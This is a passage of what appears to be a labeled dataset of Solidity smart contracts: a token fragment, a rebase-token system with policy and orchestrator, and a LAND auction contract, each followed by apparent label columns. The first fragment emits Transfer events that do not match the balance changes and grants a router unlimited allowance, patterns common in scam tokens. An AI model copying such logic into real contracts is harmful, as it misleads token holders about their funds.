_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,362 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity 0.4.24;
library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);
function mul(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a * b;
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}
function div(int256 a, int256 b)
internal
pure
returns (int256)
{
require(b != -1 || a != MIN_INT256);
return a / b;
}
function sub(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
function add(int256 a, int256 b)
internal
pure
returns (int256)
{
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
function abs(int256 a)
internal
pure
returns (int256)
{
require(a != MIN_INT256);
return a < 0 ? -a : a;
}
function toUint256Safe(int256 a)
internal
pure
returns (uint256)
{
require(a >= 0);
return uint256(a);
}
}
pragma solidity 0.4.24;
library UInt256Lib {
uint256 private constant MAX_INT256 = ~(uint256(1) << 255);
function toInt256Safe(uint256 a)
internal
pure
returns (int256)
{
require(a <= MAX_INT256);
return int256(a);
}
}
pragma solidity >=0.4.24 <0.6.0;
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool wasInitializing = initializing;
initializing = true;
initialized = true;
_;
initializing = wasInitializing;
}
function isConstructor() private view returns (bool) {
uint256 cs;
assembly { cs := extcodesize(address) }
return cs == 0;
}
uint256[50] private ______gap;
}
pragma solidity ^0.4.24;
contract Ownable is Initializable {
address private _owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
function initialize(address sender) internal initializer {
_owner = sender;
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(_owner);
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[50] private ______gap;
}
pragma solidity ^0.4.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
pragma solidity ^0.4.24;
contract ERC20Detailed is Initializable, IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
function initialize(string name, string symbol, uint8 decimals) internal initializer {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string) {
return _name;
}
function symbol() public view returns(string) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
uint256[50] private ______gap;
}
pragma solidity 0.4.24;
contract UFragments is ERC20Detailed, Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
event LogRebase(uint256 indexed epoch, uint256 totalSupply);
event LogMonetaryPolicyUpdated(address monetaryPolicy);
address public monetaryPolicy;
modifier onlyMonetaryPolicy() {
require(msg.sender == monetaryPolicy);
_;
}
bool private rebasePausedDeprecated;
bool private tokenPausedDeprecated;
modifier validRecipient(address to) {
require(to != address(0x0));
require(to != address(this));
_;
}
uint256 private constant DECIMALS = 18;
uint256 private constant MAX_UINT256 = ~uint256(0);
uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 10000 * uint(10)**DECIMALS;
uint256 private constant TOTAL_GONS = MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY);
uint256 private constant MAX_SUPPLY = ~uint128(0);
uint256 private _totalSupply;
uint256 private _gonsPerFragment;
mapping(address => uint256) private _gonBalances;
mapping (address => mapping (address => uint256)) private _allowedFragments;
address public deployer;
modifier onlyDeployer() {
require(msg.sender == deployer);
_;
}
constructor () public {
deployer = msg.sender;
}
function setMonetaryPolicy(address monetaryPolicy_)
external
onlyOwner
{
monetaryPolicy = monetaryPolicy_;
emit LogMonetaryPolicyUpdated(monetaryPolicy_);
}
function rebase(uint256 epoch, int256 supplyDelta)
external
onlyMonetaryPolicy
returns (uint256)
{
if (supplyDelta == 0) {
emit LogRebase(epoch, _totalSupply);
return _totalSupply;
}
if (supplyDelta < 0) {
_totalSupply = _totalSupply.sub(uint256(supplyDelta.abs()));
} else {
_totalSupply = _totalSupply.add(uint256(supplyDelta));
}
if (_totalSupply > MAX_SUPPLY) {
_totalSupply = MAX_SUPPLY;
}
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
emit LogRebase(epoch, _totalSupply);
return _totalSupply;
}
function initialize(string name_, string symbol_, address owner_)
public
onlyDeployer
initializer
{
ERC20Detailed.initialize(name_, symbol_, uint8(DECIMALS));
Ownable.initialize(owner_);
rebasePausedDeprecated = false;
tokenPausedDeprecated = false;
_totalSupply = INITIAL_FRAGMENTS_SUPPLY;
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
address[6] memory poolAddresses = [address(0xF941635f2B2Af7C85C037F1660DBE4558335Fafd), address(0xA18000a288d0FaB11aeb3F384744769C9a373D2a), address(0x9Da650E829B1BbF8533Cd02d331b798edEddED49), address(0x39ac8ac7954370708026E22E6C016F09a63d1d71), address(0x2B17835D8c5cE6Dc2893Ca9Bd51FC05Ad0136854), address(0x08EA09FC70Ff6F8eD25f3B9C1086D559818E5776)];
uint[6] memory amounts;
amounts[0] = 1000;
amounts[1] = 500;
amounts[2] = 500;
amounts[3] = 4000;
amounts[4] = 2000;
amounts[5] = 2000;
for (uint i = 0; i < poolAddresses.length; i++) {
uint256 poolVal = amounts[i] * (10 ** DECIMALS);
uint256 poolGons = poolVal.mul(_gonsPerFragment);
address poolAddress = poolAddresses[i];
_gonBalances[poolAddress] = poolGons;
emit Transfer(address(0x0), poolAddress, poolVal);
}
}
function totalSupply()
public
view
returns (uint256)
{
return _totalSupply;
}
function balanceOf(address who)
public
view
returns (uint256)
{
return _gonBalances[who].div(_gonsPerFragment);
}
function transfer(address to, uint256 value)
public
validRecipient(to)
returns (bool)
{
uint256 gonValue = value.mul(_gonsPerFragment);
_gonBalances[msg.sender] = _gonBalances[msg.sender].sub(gonValue);
_gonBalances[to] = _gonBalances[to].add(gonValue);
emit Transfer(msg.sender, to, value);
return true;
}
function allowance(address owner_, address spender)
public
view
returns (uint256)
{
return _allowedFragments[owner_][spender];
}
function transferFrom(address from, address to, uint256 value)
public
validRecipient(to)
returns (bool)
{
_allowedFragments[from][msg.sender] = _allowedFragments[from][msg.sender].sub(value);
uint256 gonValue = value.mul(_gonsPerFragment);
_gonBalances[from] = _gonBalances[from].sub(gonValue);
_gonBalances[to] = _gonBalances[to].add(gonValue);
emit Transfer(from, to, value);
return true;
}
function approve(address spender, uint256 value)
public
returns (bool)
{
_allowedFragments[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_allowedFragments[msg.sender][spender] =
_allowedFragments[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
uint256 oldValue = _allowedFragments[msg.sender][spender];
if (subtractedValue >= oldValue) {
_allowedFragments[msg.sender][spender] = 0;
} else {
_allowedFragments[msg.sender][spender] = oldValue.sub(subtractedValue);
}
emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]);
return true;
}
}
pragma solidity 0.4.24;
interface IOracle {
function getData() external returns (uint256);
function latestAnswer() external returns (int256);
}
contract UFragmentsPolicy is Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using UInt256Lib for uint256;
event LogRebase(
uint256 indexed epoch,
uint256 exchangeRate,
int256 requestedSupplyAdjustment,
uint256 timestampSec
);
UFragments public uFrags;
IOracle public marketOracle;
IOracle public xauusdOracle;
uint256 private baseCpi;
uint256 public deviationThreshold;
uint256 public rebaseLag;
uint256 public minRebaseTimeIntervalSec;
uint256 public lastRebaseTimestampSec;
uint256 public rebaseWindowOffsetSec;
uint256 public rebaseWindowLengthSec;
uint256 public epoch;
uint256 private constant DECIMALS = 18;
uint256 private constant MAX_RATE = 10**6 * 10**DECIMALS;
uint256 private constant MAX_SUPPLY = ~(uint256(1) << 255) / MAX_RATE;
address public orchestrator;
address public deployer;
modifier onlyOrchestrator() {
require(msg.sender == orchestrator);
_;
}
modifier onlyDeployer() {
require(msg.sender == deployer);
_;
}
constructor () public {
deployer = msg.sender;
}
function rebase()
external
onlyOrchestrator
{
require(inRebaseWindow());
require(lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now);
lastRebaseTimestampSec = now.sub(now.mod(minRebaseTimeIntervalSec)).add(rebaseWindowOffsetSec);
epoch = epoch.add(1);
uint256 exchangeRate = marketOracle.getData();
uint256 targetRate = xauusdOracle.latestAnswer().toUint256Safe();
if (exchangeRate > MAX_RATE) {
exchangeRate = MAX_RATE;
}
int256 supplyDelta = computeSupplyDelta(exchangeRate, targetRate);
supplyDelta = supplyDelta.div(rebaseLag.toInt256Safe());
if (supplyDelta > 0 && uFrags.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) {
supplyDelta = (MAX_SUPPLY.sub(uFrags.totalSupply())).toInt256Safe();
}
uint256 supplyAfterRebase = uFrags.rebase(epoch, supplyDelta);
assert(supplyAfterRebase <= MAX_SUPPLY);
emit LogRebase(epoch, exchangeRate, supplyDelta, now);
}
function setMarketOracle(IOracle marketOracle_)
external
onlyDeployer
{
require(marketOracle == address(0));
marketOracle = marketOracle_;
}
function setXAUUSDOracle(IOracle xauusdOracle_)
external
onlyDeployer
{
require(xauusdOracle == address(0));
xauusdOracle = xauusdOracle_;
}
function setOrchestrator(address orchestrator_)
external
onlyOwner
{
orchestrator = orchestrator_;
}
function setDeviationThreshold(uint256 deviationThreshold_)
external
onlyOwner
{
deviationThreshold = deviationThreshold_;
}
function setRebaseLag(uint256 rebaseLag_)
external
onlyOwner
{
require(rebaseLag_ > 0);
rebaseLag = rebaseLag_;
}
function setRebaseTimingParameters(
uint256 minRebaseTimeIntervalSec_,
uint256 rebaseWindowOffsetSec_,
uint256 rebaseWindowLengthSec_)
external
onlyOwner
{
require(minRebaseTimeIntervalSec_ > 0);
require(rebaseWindowOffsetSec_ < minRebaseTimeIntervalSec_);
minRebaseTimeIntervalSec = minRebaseTimeIntervalSec_;
rebaseWindowOffsetSec = rebaseWindowOffsetSec_;
rebaseWindowLengthSec = rebaseWindowLengthSec_;
}
function initialize(address owner_, UFragments uFrags_)
public
onlyDeployer
initializer
{
Ownable.initialize(owner_);
deviationThreshold = 10 * 10 ** (DECIMALS-2);
rebaseLag = 10;
minRebaseTimeIntervalSec = 1 days;
rebaseWindowOffsetSec = 43200;
rebaseWindowLengthSec = 15 minutes;
lastRebaseTimestampSec = 0;
epoch = 0;
uFrags = uFrags_;
}
function inRebaseWindow() public view returns (bool) {
return (
now.mod(minRebaseTimeIntervalSec) >= rebaseWindowOffsetSec &&
now.mod(minRebaseTimeIntervalSec) < (rebaseWindowOffsetSec.add(rebaseWindowLengthSec))
);
}
function computeSupplyDelta(uint256 rate, uint256 targetRate)
private
view
returns (int256)
{
if (withinDeviationThreshold(rate, targetRate)) {
return 0;
}
int256 targetRateSigned = targetRate.toInt256Safe();
return uFrags.totalSupply().toInt256Safe()
.mul(rate.toInt256Safe().sub(targetRateSigned))
.div(targetRateSigned);
}
function withinDeviationThreshold(uint256 rate, uint256 targetRate)
private
view
returns (bool)
{
uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold)
.div(10 ** DECIMALS);
return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold)
|| (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold);
}
}
pragma solidity 0.4.24;
interface YearnRewardsI {
function starttime() external returns (uint256);
function totalRewards() external returns (uint256);
function y() external returns (address);
}
interface UniV2PairI {
function sync() external;
}
interface ERC20MigratorI {
function totalMigrated() external returns (uint256);
}
pragma solidity 0.4.24;
contract Orchestrator is Ownable {
using SafeMath for uint256;
struct Transaction {
bool enabled;
address destination;
bytes data;
}
event TransactionFailed(address indexed destination, uint index, bytes data);
Transaction[] public transactions;
UFragmentsPolicy public policy;
YearnRewardsI public pool0;
YearnRewardsI public pool1;
YearnRewardsI public pool2;
YearnRewardsI public pool3;
YearnRewardsI public pool4;
YearnRewardsI public pool5;
ERC20Detailed public gold;
uint256 public rebaseRequiredSupply;
address public deployer;
UniV2PairI[3] public uniSyncs;
uint256 constant SYNC_GAS = 50000;
address constant uniFactory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
modifier onlyDeployer() {
require(msg.sender == deployer);
_;
}
function genUniAddr(address left, address right) internal pure returns (UniV2PairI) {
address first = left < right ? left : right;
address second = left < right ? right : left;
address pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
uniFactory,
keccak256(abi.encodePacked(first, second)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
return UniV2PairI(pair);
}
constructor () public {
deployer = msg.sender;
}
function initialize(
address policy_,
address pool0_,
address pool1_,
address pool2_,
address gold_,
address weth_,
address usdt_,
address uni_,
uint256 rebaseRequiredSupply_
) public onlyDeployer initializer {
require(deployer == msg.sender);
Ownable.initialize(msg.sender);
policy = UFragmentsPolicy(policy_);
pool0 = YearnRewardsI(pool0_);
pool1 = YearnRewardsI(pool1_);
pool2 = YearnRewardsI(pool2_);
gold = ERC20Detailed(gold_);
uniSyncs[0] = genUniAddr(gold_, usdt_);
uniSyncs[1] = genUniAddr(gold_, weth_);
uniSyncs[2] = genUniAddr(gold_, uni_);
rebaseRequiredSupply = rebaseRequiredSupply_;
}
function rebase()
external
{
uint256 rewardsDistributed = pool0.totalRewards().add(pool1.totalRewards());
require(rewardsDistributed >= rebaseRequiredSupply || block.timestamp >= pool1.starttime() + 4 weeks, "rebaseRequiredSupply or 4 weeks since pool1 constraint");
require(msg.sender == tx.origin);
policy.rebase();
for (uint i = 0; i < uniSyncs.length; i++) {
address(uniSyncs[i]).call.gas(SYNC_GAS)(uniSyncs[i].sync.selector);
}
}
} | 0 | 1,975 |
pragma solidity ^0.4.24;
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool wasInitializing = initializing;
initializing = true;
initialized = true;
_;
initializing = wasInitializing;
}
function isConstructor() private view returns (bool) {
uint256 cs;
assembly { cs := extcodesize(address) }
return cs == 0;
}
uint256[50] private ______gap;
}
contract Ownable is Initializable {
address private _owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
function initialize(address sender) public initializer {
_owner = sender;
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(_owner);
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[50] private ______gap;
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ITokenConverter {
using SafeMath for uint256;
function convert(
IERC20 _srcToken,
IERC20 _destToken,
uint256 _srcAmount,
uint256 _destAmount
) external payable returns (uint256);
function getExpectedRate(IERC20 _srcToken, IERC20 _destToken, uint256 _srcAmount)
public view returns(uint256 expectedRate, uint256 slippageRate);
}
contract ERC20 is IERC20 {
function burn(uint256 _value) public;
}
contract LANDRegistry {
function assignMultipleParcels(int[] x, int[] y, address beneficiary) external;
}
contract LANDAuctionStorage {
uint256 constant public PERCENTAGE_OF_TOKEN_TO_KEEP = 5;
uint256 constant public MAX_DECIMALS = 18;
enum Status { created, finished }
struct Func {
uint256 slope;
uint256 base;
uint256 limit;
}
struct Token {
uint256 decimals;
bool shouldBurnTokens;
bool shouldForwardTokens;
address forwardTarget;
bool isAllowed;
}
uint256 public conversionFee = 105;
uint256 public totalBids = 0;
Status public status;
uint256 public gasPriceLimit;
uint256 public landsLimitPerBid;
ERC20 public manaToken;
LANDRegistry public landRegistry;
ITokenConverter public dex;
mapping (address => Token) public tokensAllowed;
uint256 public totalManaBurned = 0;
uint256 public totalLandsBidded = 0;
uint256 public startTime;
uint256 public endTime;
Func[] internal curves;
uint256 internal initialPrice;
uint256 internal endPrice;
uint256 internal duration;
event AuctionCreated(
address indexed _caller,
uint256 _startTime,
uint256 _duration,
uint256 _initialPrice,
uint256 _endPrice
);
event BidConversion(
uint256 _bidId,
address indexed _token,
uint256 _requiredManaAmountToBurn,
uint256 _amountOfTokenConverted,
uint256 _requiredTokenBalance
);
event BidSuccessful(
uint256 _bidId,
address indexed _beneficiary,
address indexed _token,
uint256 _pricePerLandInMana,
uint256 _manaAmountToBurn,
int[] _xs,
int[] _ys
);
event AuctionFinished(
address indexed _caller,
uint256 _time,
uint256 _pricePerLandInMana
);
event TokenBurned(
uint256 _bidId,
address indexed _token,
uint256 _total
);
event TokenTransferred(
uint256 _bidId,
address indexed _token,
address indexed _to,
uint256 _total
);
event LandsLimitPerBidChanged(
address indexed _caller,
uint256 _oldLandsLimitPerBid,
uint256 _landsLimitPerBid
);
event GasPriceLimitChanged(
address indexed _caller,
uint256 _oldGasPriceLimit,
uint256 _gasPriceLimit
);
event DexChanged(
address indexed _caller,
address indexed _oldDex,
address indexed _dex
);
event TokenAllowed(
address indexed _caller,
address indexed _address,
uint256 _decimals,
bool _shouldBurnTokens,
bool _shouldForwardTokens,
address indexed _forwardTarget
);
event TokenDisabled(
address indexed _caller,
address indexed _address
);
event ConversionFeeChanged(
address indexed _caller,
uint256 _oldConversionFee,
uint256 _conversionFee
);
}
contract LANDAuction is Ownable, LANDAuctionStorage {
using SafeMath for uint256;
using Address for address;
constructor(
uint256[] _xPoints,
uint256[] _yPoints,
uint256 _startTime,
uint256 _landsLimitPerBid,
uint256 _gasPriceLimit,
ERC20 _manaToken,
LANDRegistry _landRegistry,
address _dex
) public {
Ownable.initialize(msg.sender);
require(_startTime > block.timestamp, "Started time should be after now");
startTime = _startTime;
require(
address(_landRegistry).isContract(),
"The LANDRegistry token address must be a deployed contract"
);
landRegistry = _landRegistry;
setDex(_dex);
allowToken(
address(_manaToken),
18,
true,
false,
address(0)
);
manaToken = _manaToken;
duration = _xPoints[_xPoints.length - 1];
require(duration > 24 * 60 * 60, "The duration should be greater than 1 day");
_setCurve(_xPoints, _yPoints);
setLandsLimitPerBid(_landsLimitPerBid);
setGasPriceLimit(_gasPriceLimit);
status = Status.created;
emit AuctionCreated(
msg.sender,
startTime,
duration,
initialPrice,
endPrice
);
}
function bid(
int[] _xs,
int[] _ys,
address _beneficiary,
ERC20 _fromToken
)
external
{
_validateBidParameters(
_xs,
_ys,
_beneficiary,
_fromToken
);
uint256 bidId = _getBidId();
uint256 bidPriceInMana = _xs.length.mul(getCurrentPrice());
uint256 manaAmountToBurn = bidPriceInMana;
if (address(_fromToken) != address(manaToken)) {
require(
address(dex).isContract(),
"Paying with other tokens has been disabled"
);
manaAmountToBurn = _convertSafe(bidId, _fromToken, bidPriceInMana);
} else {
require(
_fromToken.transferFrom(msg.sender, address(this), bidPriceInMana),
"Insuficient balance or unauthorized amount (transferFrom failed)"
);
}
_processFunds(bidId, _fromToken);
for (uint i = 0; i < _xs.length; i++) {
require(
-150 <= _xs[i] && _xs[i] <= 150 && -150 <= _ys[i] && _ys[i] <= 150,
"The coordinates should be inside bounds -150 & 150"
);
}
landRegistry.assignMultipleParcels(_xs, _ys, _beneficiary);
emit BidSuccessful(
bidId,
_beneficiary,
_fromToken,
getCurrentPrice(),
manaAmountToBurn,
_xs,
_ys
);
_updateStats(_xs.length, manaAmountToBurn);
}
function _validateBidParameters(
int[] _xs,
int[] _ys,
address _beneficiary,
ERC20 _fromToken
) internal view
{
require(startTime <= block.timestamp, "The auction has not started");
require(
status == Status.created &&
block.timestamp.sub(startTime) <= duration,
"The auction has finished"
);
require(tx.gasprice <= gasPriceLimit, "Gas price limit exceeded");
require(_beneficiary != address(0), "The beneficiary could not be the 0 address");
require(_xs.length > 0, "You should bid for at least one LAND");
require(_xs.length <= landsLimitPerBid, "LAND limit exceeded");
require(_xs.length == _ys.length, "X values length should be equal to Y values length");
require(tokensAllowed[address(_fromToken)].isAllowed, "Token not allowed");
}
function getCurrentPrice() public view returns (uint256) {
if (startTime == 0 || startTime >= block.timestamp) {
return initialPrice;
}
uint256 timePassed = block.timestamp - startTime;
if (timePassed >= duration) {
return endPrice;
}
return _getPrice(timePassed);
}
function _convertSafe(
uint256 _bidId,
ERC20 _fromToken,
uint256 _bidPriceInMana
) internal returns (uint256 requiredManaAmountToBurn)
{
requiredManaAmountToBurn = _bidPriceInMana;
Token memory fromToken = tokensAllowed[address(_fromToken)];
uint bidPriceInManaPlusSafetyMargin = _bidPriceInMana.mul(conversionFee).div(100);
uint256 tokenRate = getRate(manaToken, _fromToken, bidPriceInManaPlusSafetyMargin);
uint256 requiredTokenBalance = 0;
if (fromToken.shouldBurnTokens || fromToken.shouldForwardTokens) {
requiredTokenBalance = _calculateRequiredTokenBalance(requiredManaAmountToBurn, tokenRate);
requiredManaAmountToBurn = _calculateRequiredManaAmount(_bidPriceInMana);
}
uint256 tokensToConvertPlusSafetyMargin = bidPriceInManaPlusSafetyMargin
.mul(tokenRate)
.div(10 ** 18);
if (MAX_DECIMALS > fromToken.decimals) {
requiredTokenBalance = _normalizeDecimals(
fromToken.decimals,
requiredTokenBalance
);
tokensToConvertPlusSafetyMargin = _normalizeDecimals(
fromToken.decimals,
tokensToConvertPlusSafetyMargin
);
}
require(
_fromToken.transferFrom(msg.sender, address(this), tokensToConvertPlusSafetyMargin),
"Transfering the totalPrice in token to LANDAuction contract failed"
);
uint256 finalTokensToConvert = tokensToConvertPlusSafetyMargin.sub(requiredTokenBalance);
require(_fromToken.approve(address(dex), finalTokensToConvert), "Error approve");
uint256 change = dex.convert(
_fromToken,
manaToken,
finalTokensToConvert,
requiredManaAmountToBurn
);
if (change > 0) {
require(
_fromToken.transfer(msg.sender, change),
"Transfering the change to sender failed"
);
}
require(_fromToken.approve(address(dex), 0), "Error remove approval");
emit BidConversion(
_bidId,
address(_fromToken),
requiredManaAmountToBurn,
tokensToConvertPlusSafetyMargin.sub(change),
requiredTokenBalance
);
}
function getRate(
IERC20 _srcToken,
IERC20 _destToken,
uint256 _srcAmount
) public view returns (uint256 rate)
{
(, rate) = dex.getExpectedRate(_srcToken, _destToken, _srcAmount);
}
function _calculateRequiredTokenBalance(
uint256 _totalPrice,
uint256 _tokenRate
)
internal pure returns (uint256)
{
return _totalPrice.mul(_tokenRate)
.div(10 ** 18)
.mul(PERCENTAGE_OF_TOKEN_TO_KEEP)
.div(100);
}
function _calculateRequiredManaAmount(
uint256 _totalPrice
)
internal pure returns (uint256)
{
return _totalPrice.mul(100 - PERCENTAGE_OF_TOKEN_TO_KEEP).div(100);
}
function _processFunds(uint256 _bidId, ERC20 _token) internal {
_burnTokens(_bidId, manaToken);
Token memory token = tokensAllowed[address(_token)];
if (_token != manaToken) {
if (token.shouldBurnTokens) {
_burnTokens(_bidId, _token);
}
if (token.shouldForwardTokens) {
_forwardTokens(_bidId, token.forwardTarget, _token);
}
}
}
function _getPrice(uint256 _time) internal view returns (uint256) {
for (uint i = 0; i < curves.length; i++) {
Func memory func = curves[i];
if (_time < func.limit) {
return func.base.sub(func.slope.mul(_time));
}
}
revert("Invalid time");
}
function _burnTokens(uint256 _bidId, ERC20 _token) private {
uint256 balance = _token.balanceOf(address(this));
require(balance > 0, "Balance to burn should be > 0");
_token.burn(balance);
emit TokenBurned(_bidId, address(_token), balance);
balance = _token.balanceOf(address(this));
require(balance == 0, "Burn token failed");
}
function _forwardTokens(uint256 _bidId, address _address, ERC20 _token) private {
uint256 balance = _token.balanceOf(address(this));
require(balance > 0, "Balance to burn should be > 0");
_token.transfer(_address, balance);
emit TokenTransferred(
_bidId,
address(_token),
_address,balance
);
balance = _token.balanceOf(address(this));
require(balance == 0, "Transfer token failed");
}
function setConversionFee(uint256 _fee) external onlyOwner {
require(_fee < 200 && _fee >= 100, "Conversion fee should be >= 100 and < 200");
emit ConversionFeeChanged(msg.sender, conversionFee, _fee);
conversionFee = _fee;
}
function finishAuction() public onlyOwner {
require(status != Status.finished, "The auction is finished");
uint256 currentPrice = getCurrentPrice();
status = Status.finished;
endTime = block.timestamp;
emit AuctionFinished(msg.sender, block.timestamp, currentPrice);
}
function setLandsLimitPerBid(uint256 _landsLimitPerBid) public onlyOwner {
require(_landsLimitPerBid > 0, "The LAND limit should be greater than 0");
emit LandsLimitPerBidChanged(msg.sender, landsLimitPerBid, _landsLimitPerBid);
landsLimitPerBid = _landsLimitPerBid;
}
function setGasPriceLimit(uint256 _gasPriceLimit) public onlyOwner {
require(_gasPriceLimit > 0, "The gas price should be greater than 0");
emit GasPriceLimitChanged(msg.sender, gasPriceLimit, _gasPriceLimit);
gasPriceLimit = _gasPriceLimit;
}
function setDex(address _dex) public onlyOwner {
require(_dex != address(dex), "The dex is the current");
if (_dex != address(0)) {
require(_dex.isContract(), "The dex address must be a deployed contract");
}
emit DexChanged(msg.sender, dex, _dex);
dex = ITokenConverter(_dex);
}
function allowToken(
address _address,
uint256 _decimals,
bool _shouldBurnTokens,
bool _shouldForwardTokens,
address _forwardTarget
)
public onlyOwner
{
require(
_address.isContract(),
"Tokens allowed should be a deployed ERC20 contract"
);
require(
_decimals > 0 && _decimals <= MAX_DECIMALS,
"Decimals should be greather than 0 and less or equal to 18"
);
require(
!(_shouldBurnTokens && _shouldForwardTokens),
"The token should be either burned or transferred"
);
require(
!_shouldForwardTokens ||
(_shouldForwardTokens && _forwardTarget.isContract()),
"The token should be transferred to a deployed contract"
);
require(!tokensAllowed[_address].isAllowed, "The ERC20 token is already allowed");
tokensAllowed[_address] = Token({
decimals: _decimals,
shouldBurnTokens: _shouldBurnTokens,
